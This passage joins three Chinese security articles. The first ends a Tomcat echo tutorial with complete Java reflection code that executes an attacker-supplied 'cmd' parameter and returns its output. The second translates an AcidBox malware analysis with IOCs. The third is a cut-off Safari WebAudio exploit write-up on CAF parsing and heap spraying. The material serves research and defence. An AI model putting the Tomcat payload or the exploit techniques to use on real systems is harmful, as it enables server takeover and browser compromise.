java.io.Writer w = response2.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(response2, Boolean.FALSE);//初始化
w.write("1111");
w.flush();//刷新
}
**4\. 代码整合**
这个流程下来可以大大锻炼Java反射的使用熟练度。如果按照之前分析的调用链一步一步构造，逻辑相对来说还是比较清晰的。完整代码如下
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources().getContext();
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)contextField.get(standardContext);
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService)serviceField.get(ApplicationContext);
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField.get(standardService);
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
java.io.Writer w = response2.getWriter();
String cmd = request2.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(response2, Boolean.FALSE);
}
**5\. 局限性分析**
利用链过长，会导致http包超长，可先修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小，这样再次发包的时候就不会有长度限制。还有就是操作复杂可能有性能问题，整体来讲该方法不受各种配置的影响，通用型较强。
## 0x04 总结
主要学习了Tomcat的各种回显技术，重点把如何找Tomcat catalina
Response的过程捋了捋，总的来说通过Tomat类加载器获取Response对象的方法更具有普适性。接下来会继续分析反序列化漏洞后利用的相关技术，内存马驻留技术和查杀技术。
## 参考文章
<https://github.com/feihong-cs/Java-Rce-Echo>
<https://zhuanlan.zhihu.com/p/114625962>
[https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&a%20cmid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&a%20cmid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3)
<https://www.cnblogs.com/nice0e3/p/14891711.html#0x01-tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE>
<https://github.com/Litch1-v/ysoserial>
<https://www.00theway.org/2020/01/17/java-god-s-eye/> | 社区文章 |
**原文链接：[AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian
Organizations](https://unit42.paloaltonetworks.com/acidbox-rare-malware/
"AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian
Organizations")**
**作者：知道创宇404实验室翻译组**
## 相关背景
[2014](https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots "2014")年一个名为[Turla
Group](https://malpedia.caad.fkie.fraunhofer.de/actor/turla_group "Turla
Group")的恶意软件组织消息出现，[爱沙尼亚外交情报局](https://www.valisluureamet.ee/pdf/raport-2018-ENG-web.pdf
"爱沙尼亚外交情报局")推断它源于俄罗斯，代表俄罗斯联邦安全局（FSB）进行运作，该组织核心恶意软件也被公开描述为第一个滥用第三方程序来禁用DSE的案例。在Windows
Vista中引入了这种安全机制，以防止未签名的驱动程序加载到内核空间。Turla利用了签名的VirtualBox驱动程序——VBoxDrv.sysv1.6.2来停用DSE，然后对未签名的有效负载驱动程序进行加载。
然而，这个漏洞有一些混淆，它被称为[CVE-2008-3431](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3431
"CVE-2008-3431")。Turla使用的漏洞实际上滥用了两个漏洞，其中只有一个在前面提到的CVE中被修复过。另一个漏洞与CVE-2008-3431一起用在第一个攻击版本中，第二个攻击版本大约在[2014年](https://www.kernelmode.info/forum/viewtopic4989.html?f=16&t=3193&start=50#p26173
"2014年")引入了内核模式恶意软件，其只使用了未修补的漏洞，我们将在后面详细讨论。
2019年2月，Unit 42发现了尚未知晓的威胁因素（信息安全社区不知道），发现第二个未修补的漏洞不仅可以利用VirtualBox
VBoxDrv.sys驱动程序 v1.6.2，还可以利用
v3.0.0以下的所有其他版本。此外我们研究发现这个未知的参与者利用VirtualBox驱动程序2.2.0版，在2017年攻击至少两个不同的俄罗斯组织。我们猜测这样做是因为驱动程序版本2.2.0并不易受攻击，因此很可能不会被安全公司发现。由于没有发现其他受害者，我们认为这是一个非常罕见的恶意软件，仅用于目标攻击。
操作者使用了一个之前未知的恶意软件家族，我们称之为AcidBox。由于该恶意软件的复杂性、稀有性以及它是一个更大的工具集的一部分这一事实，我们相信它被高级威胁参与者用于定向攻击。如果攻击者仍然活跃的话，这个恶意软件很可能今天仍在使用。但是，我们预计它在一定程度上被重写了。根据我们掌握的信息，我们认为除了使用过的漏洞之外，这个未知的威胁因素与Turla无关。
Palo Alto
Networks的客户不受此威胁，我们的WildFire威胁预防平台将此恶意软件识别为恶意软件。AutoFocus客户可以使用AcidBox标记跟踪恶意软件活动。我们还为这次攻击创建了一个对手剧本，可以在[这里](https://pan-unit42.github.io/playbook_viewer/?pb=temp-acidbox "这里")找到。
## 未知的威胁者
在2019年2月，我们发现了一个上载到VirusTotal
的AcidBox（SHA256：eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5）示例，其中包含一个已知用于Turla的VirtualBox字符串。在对样本进行更深入的分析后发现，它是复杂恶意软件的一部分，我们无法与任何已知威胁参与者进行联想。
通过与我们同事Dr.Web的合作了解到该样本已于2017年用于对俄罗斯未非实体组织进行有针对性的攻击。所幸，他们共享了同一恶意软件家族的另外三个样本。这些用户模式示例中有两个是从Windows注册表中加载的工作程序模块，另一个是嵌入在主工作程序示例中的内核模式有效负载驱动程序。此外，由于该公司总部位于俄罗斯，因此我们联系了卡巴斯基，该公司在其数据库中仅发现了一个额外的样本，该样本也就是用户模式加载程序版本。我们还联系了ESET，ESET没有发现任何感染了该恶意软件的受害者。因此，我们得出结论，这是仅用于有针对性的攻击的极少数恶意软件。
所有样本的共同点是在2017年5月9日的编译时间戳。此日期似乎是合理的，因为卡巴斯基发现的样本于2017年6月出现在其数据库中。因此，我们得出的结论是，与该恶意软件有关的攻击活动于2017年进行。由于找不到任何新的样本，因此不知道AcidBox目前具体情况如何。
我们将样本的特定特征与所有公开的恶意软件进行了比较，但找不到任何明显的重叠。与ProjectSauron的[Remsec](https://securelist.com/faq-the-projectsauron-apt/75533/ "Remsec")恶意软件有一些非常大致的相似之处，例如：
* DWORD大小数据标记值
* 导出由2/3个单词组成的函数名称
* 使用了MS Visual C / C ++编译器
* 各种导入API函数重叠
* 使用易受攻击的第三方驱动程序加载自己的未签名驱动程序
* 使用Zlib压缩
* 在资源部分加密敏感数据
但是仅根据这些事实，并不可能将样本归因于ProjectSauron威胁参与者。我们认为这很可能是未知的威胁因素。
## VirtualBox漏洞和Turla的版本
CVE-2008-3431中描述的原始漏洞是由Core Security在2008
年发现的，VBoxDrv.sys低于或等于1.6.2的版本受影响。由于它已在1.6.4版中修复，因此无法再利用。
该漏洞位于名为VBoxDrvNtDeviceControl的设备控制例程中。在1.6.4之前的版本上，可以调用usermode
DeviceIoControl API函数，并发送以下控制代码之一以及要覆盖的内核地址作为输入/输出缓冲区：
* SUP_IOCTL_FAST_DO_RAW_RUN
* SUP_IOCTL_FAST_DO_HM_RUN
* SUP_IOCTL_FAST_DO_NOP
内核地址无需进行任何检查或验证就可以向下传递到控制处理程序，并用supdrvIOCtlFast的返回值进行填充。在原始漏洞利用中，supdrvIOCtlFast的返回值不受控制，因此它将是一个写入内核地址的随机值。Turla的漏洞利用通过覆盖supdrvIOCtlFast的函数指针来控制返回值，以将执行重定向到小的Shellcode，该ShellCode返回所需的值。在[几篇文章](https://www.kernelmode.info/forum/viewtopic7377.html?f=16&t=3193&start=10#p22357
"几篇文章")中对此进行了非常详细的描述，还提供了完整的反向工程[利用漏洞代码](https://github.com/hfiref0x/DSEFix
"利用漏洞代码")。
修补的版本1.6.4不再使用UserBuffer指针，通过传递内核地址可能会滥用该指针。另外，它检查rc变量是否大于或等于零（补丁程序不需要此变量）。
使用此修补程序，修复了覆盖内核地址的原始漏洞，可以控制supdrvIOCtlFast的函数指针的另一个漏洞尚未修补。当然，这是因为当时Core
Security尚未发现它，但几年后Turla才发现。
截止目前Turla仍使用易受攻击的VirtualBox驱动程序v.1.6.2，但它仅利用了未修补的漏洞。Lastline
描述了其使用方式以及使用方式的原因，Turla Driver Loader的项目中也提供了反向工程利用代码。
秘诀是完全相同，仅需进行很小的修改即可用于所有VBoxDrv.sys系统，最高达3.0.0的版本（我们在此将不进行披露）。虽然低于4.0的VirtualBox版本不再在官方网站上提供，但仍可以在某些软件下载站点上找到它们。
从3.0.0版开始，某些结构和例程已更改，因此该漏洞利用不再起作用。但是，不能排除在更高版本中仍然可以通过一些调整来利用同一漏洞。
有趣的是，即使Turla的操作者也似乎没有意识到这一点。他们仍然使用旧的VBoxDrv.sys
v.1.6.2进行隐蔽的利用。众所周知，该驱动程序可用于恶意或其他可疑目的，如游戏中的作弊行为。
## AcidBox技术分析
该恶意软件是一个复杂的模块化工具包，我们只拥有其中的一部分。总共，我们发现了四个64位用户模式DLL和一个未签名的内核模式驱动程序（SHA256：3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d）。四个用户模式样本中有三个样本具有相同的功能，它们是主工作程序模块的加载器。它们的区别仅在于文件描述以及嵌入式和加密注册表路径。这些装载程序被创建为安全支持提供程序（其他SSP）。SSP是DLL，它至少导出SpLsaModeInitialize函数，并且通常提供安全性机制，如客户端/服务器应用程序之间的身份验证。Windows中提供了几个标准的SSP，如Kerberos（kerberos.dll）、NTLM（msv1_0.dll），用户可以滥用SSP界面来实现恶意软件的持久性以及用于注入目的。为了保持持久性，用户必须将SSP
DLL放入Windows系统目录，并将DLL的名称添加到某个注册表值。系统重新启动后，用户的DLL将被加载到Windows
lsass.exe进程中并被执行。如果只希望将SSP
DLL注入lsass.exe中，则可以调用触发立即加载的API函数AddSecurityPackage。当然，这两种方法都至少需要管理员权限。
对于三个AcidBox SSP
dll，它们不使用任何与安全性相关的操作，而是纯粹出于注入目的（并且很可能还出于持久性）滥用了此接口。这三个SSP具有与Windows中提供的标准软件包（msv1_0.dll，pku2u.dll，wdigest.dll）相似的不同文件名：
* msv1_1.dll SHA256: b3166c417d49e94f3d9eab9b1e8ab853b58ba59f734f774b5de75ee631a9b66d)
* pku.dll SHA256: 3ad20ca49a979e5ea4a5e154962e7caff17e4ca4f00bec7f3ab89275fcc8f58c)
* windigest.dll SHA256: 003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9)
因此，我们得出结论，AcidBox SSP也滥用了接口以保持持久性。但是，由于我们没有安装SSP
DLL的组件，因此我们不确定。我们知道的是，SSP接口用于注入到lsass.exe中，因为它们在开始时检查它们加载到的过程路径是否与嵌入到资源部分中每个示例中的过程路径（C：\WINDOWS\SYSTEM32\lsass.exe）。该处理路径包含在资源4097中，我们稍后将描述如何通过隐写术将其隐藏。
AcidBox SSP DLL的目的是从资源256中包含的注册表值加载主辅助模块。我们不知道主工作DLL是如何存储在注册表中的，但我们相信它是由安装SSP
DLL的同一个丢失组件完成的。我们还假设这三个SSP
DLL来自三个不同的系统，因为其中一个样本嵌入了不同的注册表项。另外，由于这些模块是系统上唯一可见的部分（加载的主工作模块在注册表中保持加密），它们可能在某些方面有所不同，例如它们选择的文件名。主工作程序存储在注册表中，该注册表已加密在一个数据blob中，该blob中包含各种其他元数据。
通过简单地对与密钥0xCA的数据进行XOR运算后，SSP
DLL在从注册表中解密了主要工作程序DLL之后，就准备从内存中加载该文件。它通过为模块创建线程并使用主工作程序的导出函数UpdateContext作为其起始地址。然后，主工作程序模块通过VirtualBox漏洞加载未签名的恶意软件驱动程序，并等待组件的命令。这些命令包括通过驱动程序从内核空间注册表加载其他有效负载，或者安装新的SSP
DLL。
主要工作程序具有两个名为InitMainStartup和UpdateContext的导出函数。以下字符串以明文形式出现：
%s\%s
%s\%s{%s}
%s\[[%s]]
%s.dll
%s%s%s.dll
\\.\PCIXA_CFGDEV
InitEntry
InitExit
The Magic Word!
ntoskrnl.exe
ntkrn
ntkrp
hal.dll
ntoskrnl
ntkrnlpa.exe
%s%s%s
Group
Count
NextInstance
Root\LEGACY_NULL\0000
以下其他字符串会被混淆：
SeLoadDriverPrivilege
%s\%c*.dll
System\CurrentControlSet\Control\
NtQueryInformationThread
BFE_Notify_Event_
Microsoft\Cryptography
ntdll.dll
\Registry\Machine\
SOFTWARE
Global
%s\%s
Security Packages
kernel32.dll
SOFTWARE
\Registry\Machine\
MachineGuid
ntdll.dll
还有XOR编码的DLL和函数名称，这些名称随后会动态解析并使用：
ntdll.RtlGetVersion
ntdll.ZwLoadDriver
ntdll.ZwUnloadDriver
ntdll.ZwQuerySystemInformation
kernel32.DeviceIoControl
kernel32.GetSystemDirectoryA
ntdll.RtlAnsiStringToUnicodeString
ntdll.ZwClose
ntdll.ZwCreateFile
ntdll.ZwQueryInformationFile
ntdll.ZwReadFile
ntdll.ZwWriteFile
kernel32.GetSystemDirectoryA
kernel32.GetSystemDirectoryW
kernel32.BaseThreadInitThunk
kernel32.LZDone
advapi32.CryptAcquireContextA
advapi32.CryptGenRandom
advapi32.CryptReleaseContext
ntdll.RtlRbInsertNodeEx
ntdll.RtlRbRemoveNode
ntdll.RtlAcquireSRWLockExclusive
ntdll.RtlReleaseSRWLockExclusive
ntdll.RtlEnterCriticalSection
ntdll.RtlPcToFileHeader
ntdll.RtlGetVersion
ntdll.RtlUpcaseUnicodeChar
ntdll.RtlAnsiStringToUnicodeString
ntdll.LdrLockLoaderLock
ntdll.LdrUnlockLoaderLock
ntdll.ZwClose
ntdll.ZwCreateSection
ntdll.ZwMapViewOfSection
ntdll.ZwUnmapViewOfSection
所有功能都包含在两个导出功能中，而DllMain不包含任何相关代码。突出的是在整个代码中广泛使用了自定义DWORD大小的状态代码。在结果变量中带有状态代码的反编译代码示例：
…
if ( !a1 || !a2 || !(_DWORD)v3 )
{
result = 0xA0032B02;
goto LABEL_45;
}
if ( strlen(a1) <= 1 )
goto LABEL_65;
result = get_kernel32_path(a1, &v43, &v37, &v41);
if ( result )
goto LABEL_45;
if ( (unsigned int)v3 < 0x1C )
{
LABEL_65:
result = 0xA0032B02;
goto LABEL_45;
}
pBuffer = allocate_buffer(v13, (unsigned int)v3, 0i64, v11, 0, 1);
buffer = pBuffer;
if ( !pBuffer )
{
LABEL_9:
result = 0xA0032B04;
goto LABEL_45;
}
if ( memcpy_s(pBuffer, v3, a2, v3) )
{
LABEL_11:
result = 0xA0032B06;
goto LABEL_45;
}
…
主要工作者样品中含有名为有效图标5个图标资源16，256，4097，8193和12289。名称表示不同的图标分辨率，但是图标的区别仅在于附加在其上的加密数据，这可以视为隐写术的一种形式。使用自定义算法对该数据进行加密，并另外压缩zlib。在SSP
DLL中使用相同的方法。可以在附录中找到用于解密和解压缩的Python脚本。解密后，数据Blob具有以下结构：
struct data_blob {
DWORD marker; // Marker bytes (0x9A65659A)
DWORD crc32; // CRC32 value of decrypted or zlib uncompressed
bytes
DWORD size; // Size of decrypted or zlib uncompressed bytes
DWORD option; // Information if data is encrypted or zlib
compressed; 0x1 = encrypted, 0x2 = zlib compressed
char data[]; // Encrypted or zlib compressed data
};
解密后的数据如下。
资源16：
System\CurrentControlSet\Control\Class\{4D36E97D-E325-11CE-BFC1-08002B
E10318}\0003\DriverData
资源256：
System\CurrentControlSet\Control\Class\{4D36E96A-E325-11CE-BFC1-08002B
E10318}\0000\DriverData
资源16和256是Windows注册表项，其中包含资源8193中嵌入式驱动程序的解密密钥以及其他可能由AcidBox驱动程序注入的有效负载。
资源4097：
C:\WINDOWS\SYSTEM32\lsass.exe
此资源包含每个样本用来验证是否已将其加载到正确流程中的流程路径。资源8193包含无符号内核模式有效负载驱动程序，该驱动程序也使用RSA加密。该驱动程序被实现为具有两个导出功能InitEntry和InitExit的内核模式DLL
。它包含以下明文字符串：
ntoskrnl.exe
ntkrn
ntkrp
hal.dll
ntoskrnl
ntkrnlpa.exe
csrss.exe
PsCreateSystemThread
\Device\VBoxDrv
\DosDevices\PCIXA_CFGDEV
\Windows\ApiPort
\Sessions\%u\Windows\ApiPort
\Sessions\xxxxxxxx\Windows\ApiPort
\Device\PCIXA_CFG
\DosDevices\PCIXA_CFGDEV
资源12289包含由Sun Microsystems签名的VirtualBox VBoxDrv.sys驱动程序v2.2.0.0
，我们先前描述的该漏洞也很容易受到攻击。
## PE相关特征
在研究样本时，PE标头的特性（一种经常被监督的取证指标）引起了我们的注意。这个鲜为人知的事实可以在导出目录中找到，并有助于归因于恶意软件样本。所有AcidBox示例均在单个导出的函数条目之间包含间隙：
每个AcidBox示例在导出目录中都有一个大于NumberOfNames值的NumberOfFunctions值。这并不稀奇，因为不是每个导出的函数都必须有一个名称。未命名的函数也可以通过其序数值来调用。然而，不常见的是，未命名的函数项也被清零，因此不使用。
这是使用自己的DEF文件而不是declspec（dllexport）来描述DLL文件的属性时的结果。使用DEF文件时，可以选择导出功能的序号（使用`_declspec（dllexport）`无法实现此功能，因为Visual
Studio编译器始终将函数从头计数）。
使用DEF文件代替`_declspec（dllexport）`具有一些优点。可以按常规导出函数，也可以重定向函数。缺点是必须在项目中维护其他文件。
对于AcidBox样本，我们可以得出两点结论。首先，作者使用了DEF文件，尽管他没有利用它的优点。这可能表明使用DEF文件是操作者习惯；其次，函数序数似乎以两个整数为单位进行选择；最后，如果我们假设作者确实选择执行两个整数步骤，那么在用户模式DLL中，一个导出函数被删除。我们可以看到序数3未使用，留下的间隙大于一个整数。所有这些信息对于恶意软件归属都可能很有用。
## 结论
2017年，一个名为AcidBox的新高级恶意软件被一个未知的威胁参与者使用，直到现在才被发现。它使用一种已知的VirtualBox漏洞来禁用Windows中的驱动程序签名强制执行，但有一个新的变化：VirtualBox驱动程序VBoxDrv.sys
v1.6.2易受Turla的攻击并使用，这种新的恶意软件使用相同的漏洞，但VirtualBox版本相比之前有所更新。
在Windows威胁下所有内容都是副本的副本。尽管AcidBox并未使用任何新的方法，但它打破了只有VirtualBox VBoxDrv.sys
1.6.2可以用于Turla的利用这一神话。将敏感数据作为图标资源的覆盖物添加，滥用SSP接口进行持久性注入且Windows注册表中的有效负载存储，将其归为有趣的恶意软件类别。
我们猜测AcidBox的样本只是更大的工具包的一部分，如果您碰巧发现其他样本，甚至被感染，则可以使用提供的Python脚本提取附加到图标资源的敏感数据。
Palo Alto Networks客户受到此恶意软件的保护,AutoFocus客户可以使用标签为AcidBox来调查此活动。
## IOCs
**Files in Windows system32 directory**
msv1_1.dll
pku.dll
windigest.dll
**Mutexes**
Global\BFE_Event_{xxxxxxxxxxxx–xxxx-xxxxxxxx-xxxxxxxx}
Global{xxxxxxxxxxxx–xxxx-xxxxxxxx-xxxxxxxx}
The malware takes the MachineGuid stored in the registry and reshuffles the
single characters alternating from the end to the beginning and vice versa in
steps of two. For example, the MachineGuid string
a9982d3e-c859-4702-c761-df7eea468ade gets transferred into
e9a86daeecf5–67c2-07419d87-e34289da and appended to the above templates.
**Windows Registry**
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class{4D36E97D-E325-11CE-BFC1-08002BE10318}\0003\DriverData (REG_BINARY type)
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class{4D36E96A-E325-11CE-BFC1-08002BE10318}\0000\DriverData (REG_BINARY type)
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class{4D36E969-E325-11CE-BFC1-08002BE10318}\0000\DriverData (REG_BINARY type)
**Sample Hashes**
Main worker DLL:
eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5
Kernelmode driver:
3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d
SSP DLL modules:
003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9
b3166c417d49e94f3d9eab9b1e8ab853b58ba59f734f774b5de75ee631a9b66d
3ad20ca49a979e5ea4a5e154962e7caff17e4ca4f00bec7f3ab89275fcc8f58c
Benign VirtualBox VBoxDrv.sys driver v2.2.0 (signed by “Sun Microsystems,
Inc.”):
78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f
* * * | 社区文章 |
**作者：栈长@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/wQbwFYjPzS4mQMAVzc8jOA>**
在今年的Black Hat
Asia上，蚂蚁安全实验室共入选了5个议题和3个工具。本期分享的是蚂蚁光年实验室的议题《Safari中的新攻击面：仅使用一个Web音频漏洞来统治Safari》。
蚂蚁安全光年实验室从2020年4月份开始专注到 Apple
产品漏洞挖掘中，仅用了三个季度的时间，就累计拿下苹果47次致谢——致谢数排名2020年Apple漏洞致谢数全球第一。
47次漏洞致谢中，包含了系统库、浏览器、内核等多个维度层面，几乎都是高危漏洞，部分漏洞评分达到了“严重”级别，挖掘的数量和质量都处于全球领先位置。
2020年各大公司获得的苹果致谢次数排名
以往对苹果Safari浏览器的漏洞研究往往聚焦于DOM或者JS引擎，但是像Safari所使用的一些系统库，例如音频库，视频库，字体库等等很少受到关注，鲜有这些模块的漏洞在Safari中利用成功的案例。
部分原因是由于Safari内置一些缓解措施，导致这些模块中的漏洞很难单独利用，故而外界对这些模块的关注度较低。我们在对Safari的安全机制做了整体分析后判断，这些系统库中的洞是完全可以绕过Safari内置的缓解措施，从而控制Safari浏览器，攻击者进而可以在用户的机器上执行恶意代码，窃取浏览器cookie、历史记录、用户名密码等敏感信息。
我们在20年4月份左右开始投入到对这些系统库的漏洞挖掘当中，采用的是专家经验和Fuzz相结合的方式。光年实验室自研了AntFuzz引擎，该引擎是用rust语言编写，稳定性和性能与同类工具相比都有显著提升。
AntFuzz对当今主流的Fuzz方法体系进行了吸收融合，在易用性和接入能力上面也有很大的改善。在安全研究员筛选出一些可能的攻击面的基础上，AntFuzz会针对特定攻击面自动化生成高质量的Fuzz
Driver，再通过定制化的种子以及变异算法的选取，来进行高效漏洞挖掘。AntFuzz的这些关键特性支持我们取得了非常丰富的战果，挖掘出了大量高危漏洞。
在2020年天府杯中，光年实验室是全场唯一实现Safari full-chain
exploit的参赛团队（即从浏览器入口到获取用户目标机器上的最高权限）。在这个攻击中，我们仅依托发现的一个WebAudio漏洞就实现了Safari浏览器的远程代码执行，绕过了Safari的所有安全缓释措施。
该漏洞CVE编号为CVE-2021-1747，苹果官方已在最新的macOS系统、iOS系统中修复了该漏洞。这也是国内顶尖软硬件破解大赛中，首次通过系统库API来攻破Safari浏览器。下面我们会分享相关的漏洞利用技巧。
# 01 漏洞成因
漏洞存在于WebAudio模块当中，在解析CAF音频文件的时候会产生越界写。漏洞存在于`ACOpusDecoder::AppendInputData`函数中，(1)处有一个类似于边界检查的代码，但是最终被绕过了，(2)处调用memcpy函数，造成了越界写。
__int64 __fastcall ACOpusDecoder::AppendInputData(ACOpusDecoder *this, const void *a2, unsigned int *a3, unsigned int *a4, const
AudioStreamPacketDescription *a5)
{
...
if ( a5 )
{
v8 = a5->mDataByteSize;
if ( !a5->mDataByteSize || !*a4 || (v9 = a5->mStartOffset, (a5->mStartOffset + v8) > *a3) || this->buf_size ) // (1). 绕过这里的边界检查
{
result = 0LL;
if ( !v8 )
{
this->buf_size = 0;
LABEL_19:
v13 = 1;
v12 = 1;
goto LABEL_20;
}
goto LABEL_16;
}
if ( v9 >= 0 )
{
memcpy(this->buf, a2 + v9, v8); //（2）. 越界写发生的位置
v14 = a5->mDataByteSize;
this->buf_size = v14;
result = (LODWORD(a5->mStartOffset) + v14);
goto LABEL_19;
}
...
}
先简单介绍一下CAF文件格式，我这里画了一幅简化版的CAF文件格式图。CAF文件开头是File
Header，之后是由各种不同类型的Chunk组成，每个Chunk都有一个Chunk Header，记录了该Chunk的大小。
Desc Chunk主要存储了文件的一些元数据，Data Chunk里面存储了所有的Packet，Packet Table
Chunk则记录了每一个Packet的size。在解析的时候会先读取Packet Table Chunk，获取每一个Packet的大小，然后再去Data
Chunk里面读取。
为了分析这个漏洞，我特意编写了一个010 Editor模板来对CAF文件进行解析。
然后我们分析一下造成crash的CAF文件，用010 editor的模板文件跑一下，可以看到如下输出：
第一列是packet的序号，第二列是packet的size。可以看到，第114个packet的size是负数，可以推测程序在处理size为负的packet的时候出了问题。接下来就是如何利用这个漏洞了。
# 02 将越界写漏洞转化为任意地址写
这里我首先对相关代码做了逆向分析，被越界写的buffer是存在于ACOpusDecoder这个结构体的内部，这个结构体的字段如下所示：
被越界写的是buf字段，共有1500个字节，后面的`buf_size`，`controled_field`, `log_obj`, `controled`
这几个字段都是我们可以控制的。通过一定的调试加逆向，可以发现log这个对象在后面有用到，而且可以造成任意地址写。
接下来我们的目标有两个，一是走到任意地址写的位置，并且写的值要满足一定的条件；二是在造成任意地址写之后程序不会立马崩溃。第一步的话我们通过控制一些变量的值就可以做到。
第二步发生了点波折。任意地址写之后，会发现程序总会在`opus_decode_frame`中崩溃，按照常规的思路分析，如果造成了任意地址写就会导致崩溃，如果不崩溃，又没法造成任意地址写。但是我在逆向的过程中发现，`opus_packet_parse_impl`这个函数在解析packet的时候没有判断packet的长度，会越界解析到`packet+4`的位置。所以我构造了两个互相重叠的packet。
Packet 1是两个字节， 在解析的时候会越界解析到Packet 2中，把Packet 2中的0xf8当成是Packet
1中的TOC字段，最后绕过opus_decode_frame中会导致崩溃的逻辑，具体细节不表。
# 03 堆喷，攻破ASLR！
通常即使有了任意地址写的能力，如果程序的ASLR防护做的比较好的话，想要利用该漏洞还得找一个信息泄漏。但是Safari的堆的实现上有些问题，导致我们可以通过堆喷的手段在某个固定的地址喷上我们控制的值。
有了任意地址写，首先想到的就是覆盖JSArray中的length字段，或者是ArrayBuffer中的length字段，ArrayBuffer由于Safari的Gigacage机制，即使覆盖了length字段也无法越界读写到有用的内容，所以我最后选择了JSArray。
Safari中JSArray使用了Butterfly来存储JSArray的长度以及内容，如果覆盖掉其中一个JSArray的长度，那么就可以越界读写到下一个JSArray的内容，就可以构造fakeobj以及addrof两个原语，用于后续的漏洞利用。
我先尝试喷了2个G的内存，发现我的`Butterfly`有时喷射在 `0x800000000` \- `0x1000000000` 之间，有时喷射在
`0x1800000000` \- `0x1c00000000`
之间。`Safari`由于堆隔离机制，不同类型的对象在不同的堆，`Butterfly`是在`Safari`中一个叫做`Gigacage`的堆里面的，对`Gigacage`堆做了一些研究发现，`Gigacage`的基地址是可以预测的，`Gigacage`的类型有两种，一种可以存储`Bufferfly`，一种可以存储`ArrayBuffer`。
对于这两种类型的堆，`Gigacage`做了一个小小的随机化，一种情况是`Bufferfly`在上面，另一种情况是`ArrayBuffer`在上面。如下图所示。情况一下，从`0x800000000`开始，会随机生成一块0-4G的未映射的区域，之后就是`Bufferfly`的堆了。第二种情况是从`0x1800000000`开始，会随机生成一块0-4G的未映射的区域，之后就是Bufferfly的堆。无论是哪种情况，基地址的随机化程度都很小。
我一开始测试的时候是在16G内存的机器上，为了提高成功率，喷了4个G，但是后来发现Safari对每个render进程占用的内存有监控，如果内存过大，会把他杀掉。所以最后我选择喷2.5个G，但是这会导致成功率有一定程度的下降。解决方法是多次触发任意地址写来提高成功率。
# 04 感谢多线程！在程序崩溃前让利用代码有足够的时间执行
下面这张时序图解释了整个漏洞利用过程，刚开始只有一个JS线程，我们先堆喷，并且在内存中构造音频文件，随后调用`decodeAudioData`函数，由于`Safari`是在单独的线程里解码音频的，所以这里会启动Audio
A线程，我们先假设堆喷后的内存布局是上面的情况1，那么Audio
